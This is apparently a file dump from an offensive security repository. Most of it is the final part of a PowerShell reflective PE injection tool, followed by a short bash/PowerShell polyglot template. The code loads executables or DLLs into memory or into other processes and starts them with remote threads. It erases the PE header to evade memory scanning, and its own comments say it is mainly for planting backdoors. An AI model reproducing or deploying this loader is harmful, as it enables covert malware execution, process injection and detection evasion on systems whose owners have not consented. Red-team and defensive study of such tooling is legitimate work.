2592 | [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
2593 | $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
2594 |
2595 | #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
2596 | # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
2597 | [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2598 | Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
2599 |
2600 | $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
2601 |
2602 | while($true)
2603 | {
2604 | [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
2605 | if ($ThreadDone -eq 1)
2606 | {
2607 | Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
2608 | Write-Verbose "EXE thread has completed."
2609 | break
2610 | }
2611 | else
2612 | {
2613 | Start-Sleep -Seconds 1
2614 | }
2615 | }
2616 | }
2617 |
2618 | return @($PEInfo.PEHandle, $EffectivePEHandle)
2619 | }
2620 |
2621 |
2622 | Function Invoke-MemoryFreeLibrary
2623 | {
2624 | Param(
2625 | [Parameter(Position=0, Mandatory=$true)]
2626 | [IntPtr]
2627 | $PEHandle
2628 | )
2629 |
2630 | #Get Win32 constants and functions
2631 | $Win32Constants = Get-Win32Constants
2632 | $Win32Functions = Get-Win32Functions
2633 | $Win32Types = Get-Win32Types
2634 |
2635 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2636 |
2637 | #Call FreeLibrary for all the imports of the DLL
2638 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
2639 | {
2640 | [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
2641 |
2642 | while ($true)
2643 | {
2644 | $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
2645 |
2646 | #If the structure is null, it signals that this is the end of the array
2647 | if ($ImportDescriptor.Characteristics -eq 0 `
2648 | -and $ImportDescriptor.FirstThunk -eq 0 `
2649 | -and $ImportDescriptor.ForwarderChain -eq 0 `
2650 | -and $ImportDescriptor.Name -eq 0 `
2651 | -and $ImportDescriptor.TimeDateStamp -eq 0)
2652 | {
2653 | Write-Verbose "Done unloading the libraries needed by the PE"
2654 | break
2655 | }
2656 |
2657 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
2658 | $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
2659 |
2660 | if ($ImportDllHandle -eq $null)
2661 | {
2662 | Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
2663 | }
2664 |
2665 | $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
2666 | if ($Success -eq $false)
2667 | {
2668 | Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
2669 | }
2670 |
2671 | $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
2672 | }
2673 | }
2674 |
2675 | #Call DllMain with process detach
2676 | Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
2677 | $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2678 | $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2679 | $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2680 |
2681 | $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
2682 |
2683 |
2684 | $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2685 | if ($Success -eq $false)
2686 | {
2687 | Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2688 | }
2689 | }
2690 |
2691 |
2692 | Function Main
2693 | {
2694 | $Win32Functions = Get-Win32Functions
2695 | $Win32Types = Get-Win32Types
2696 | $Win32Constants = Get-Win32Constants
2697 |
2698 | $RemoteProcHandle = [IntPtr]::Zero
2699 |
2700 | #If a remote process to inject in to is specified, get a handle to it
2701 | if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
2702 | {
2703 | Throw "Can't supply a ProcId and ProcName, choose one or the other"
2704 | }
2705 | elseif ($ProcName -ne $null -and $ProcName -ne "")
2706 | {
2707 | $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
2708 | if ($Processes.Count -eq 0)
2709 | {
2710 | Throw "Can't find process $ProcName"
2711 | }
2712 | elseif ($Processes.Count -gt 1)
2713 | {
2714 | $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
2715 | Write-Output $ProcInfo
2716 | Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
2717 | }
2718 | else
2719 | {
2720 | $ProcId = $Processes[0].ID
2721 | }
2722 | }
2723 |
2724 | #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
2725 | #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
2726 | # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
2727 | # {
2728 | # Write-Verbose "Getting SeDebugPrivilege"
2729 | # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2730 | # }
2731 |
2732 | if (($ProcId -ne $null) -and ($ProcId -ne 0))
2733 | {
2734 | $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
2735 | if ($RemoteProcHandle -eq [IntPtr]::Zero)
2736 | {
2737 | Throw "Couldn't obtain the handle for process ID: $ProcId"
2738 | }
2739 |
2740 | Write-Verbose "Got the handle for the remote process to inject in to"
2741 | }
2742 |
2743 |
2744 | #Load the PE reflectively
2745 | Write-Verbose "Calling Invoke-MemoryLoadLibrary"
2746 | $PEHandle = [IntPtr]::Zero
2747 | if ($RemoteProcHandle -eq [IntPtr]::Zero)
2748 | {
2749 | $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
2750 | }
2751 | else
2752 | {
2753 | $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
2754 | }
2755 | if ($PELoadedInfo -eq [IntPtr]::Zero)
2756 | {
2757 | Throw "Unable to load PE, handle returned is NULL"
2758 | }
2759 |
2760 | $PEHandle = $PELoadedInfo[0]
2761 | $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
2762 |
2763 |
2764 | #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
2765 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2766 | if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
2767 | {
2768 | #########################################
2769 | ### YOUR CODE GOES HERE
2770 | #########################################
2771 | switch ($FuncReturnType)
2772 | {
2773 | 'WString' {
2774 | Write-Verbose "Calling function with WString return type"
2775 | [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
2776 | if ($WStringFuncAddr -eq [IntPtr]::Zero)
2777 | {
2778 | Throw "Couldn't find function address."
2779 | }
2780 | $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
2781 | $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
2782 | [IntPtr]$OutputPtr = $WStringFunc.Invoke()
2783 | $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
2784 | Write-Output $Output
2785 | }
2786 |
2787 | 'String' {
2788 | Write-Verbose "Calling function with String return type"
2789 | [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
2790 | if ($StringFuncAddr -eq [IntPtr]::Zero)
2791 | {
2792 | Throw "Couldn't find function address."
2793 | }
2794 | $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
2795 | $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
2796 | [IntPtr]$OutputPtr = $StringFunc.Invoke()
2797 | $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
2798 | Write-Output $Output
2799 | }
2800 |
2801 | 'Void' {
2802 | Write-Verbose "Calling function with Void return type"
2803 | [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2804 | if ($VoidFuncAddr -eq [IntPtr]::Zero)
2805 | {
2806 | Throw "Couldn't find function address."
2807 | }
2808 | $VoidFuncDelegate = Get-DelegateType @() ([Void])
2809 | $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
2810 | $VoidFunc.Invoke() | Out-Null
2811 | }
2812 | }
2813 | #########################################
2814 | ### END OF YOUR CODE
2815 | #########################################
2816 | }
2817 | #For remote DLL injection, call a void function which takes no parameters
2818 | elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2819 | {
2820 | $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2821 | if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
2822 | {
2823 | Throw "VoidFunc couldn't be found in the DLL"
2824 | }
2825 |
2826 | $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
2827 | $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
2828 |
2829 | #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
2830 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
2831 | }
2832 |
2833 | #Don't free a library if it is injected in a remote process or if it is an EXE.
2834 | #Note that all DLL's loaded by the EXE will remain loaded in memory.
2835 | if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
2836 | {
2837 | Invoke-MemoryFreeLibrary -PEHandle $PEHandle
2838 | }
2839 | else
2840 | {
2841 | #Delete the PE file from memory.
2842 | $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2843 | if ($Success -eq $false)
2844 | {
2845 | Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2846 | }
2847 | }
2848 |
2849 | Write-Verbose "Done!"
2850 | }
2851 |
2852 | Main
2853 | }
2854 |
2855 | #Main function to either run the script locally or remotely
2856 | Function Main
2857 | {
2858 | if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
2859 | {
2860 | $DebugPreference = "Continue"
2861 | }
2862 |
2863 | Write-Verbose "PowerShell ProcessID: $PID"
2864 |
2865 | #Verify the image is a valid PE file
2866 | $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
2867 |
2868 | if ($e_magic -ne 'MZ')
2869 | {
2870 | throw 'PE is not a valid PE file.'
2871 | }
2872 |
2873 | if (-not $DoNotZeroMZ) {
2874 | # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
2875 | # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
2876 | $PEBytes[0] = 0
2877 | $PEBytes[1] = 0
2878 | }
2879 |
2880 | #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
2881 | if ($ExeArgs -ne $null -and $ExeArgs -ne '')
2882 | {
2883 | $ExeArgs = "ReflectiveExe $ExeArgs"
2884 | }
2885 | else
2886 | {
2887 | $ExeArgs = "ReflectiveExe"
2888 | }
2889 |
2890 | if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
2891 | {
2892 | Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
2893 | }
2894 | else
2895 | {
2896 | Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
2897 | }
2898 | }
2899 |
2900 | Main
2901 | }
2902 |
--------------------------------------------------------------------------------
/templates/polyglot_template:
--------------------------------------------------------------------------------
1 | echo \" <<'PS_FILE' >/dev/null # " | Out-Null
2 | Start-Sleep -s SLEEP_INTERVAL
3 | X_POWERSHELL_SCRIPT_X
4 | while ( ! $MyInvocation.MyCommand.Source ) { $input_line = Read-Host }
5 | exit
6 | <#
7 | PS_FILE
8 | set +o histexpand 2>/dev/null
9 | sleep SLEEP_INTERVAL
10 | X_BASH_SCRIPT_X
11 | case $- in *"i"*) cat /dev/stdin >/dev/null ;; esac
12 | exit
13 | #>
14 |
--------------------------------------------------------------------------------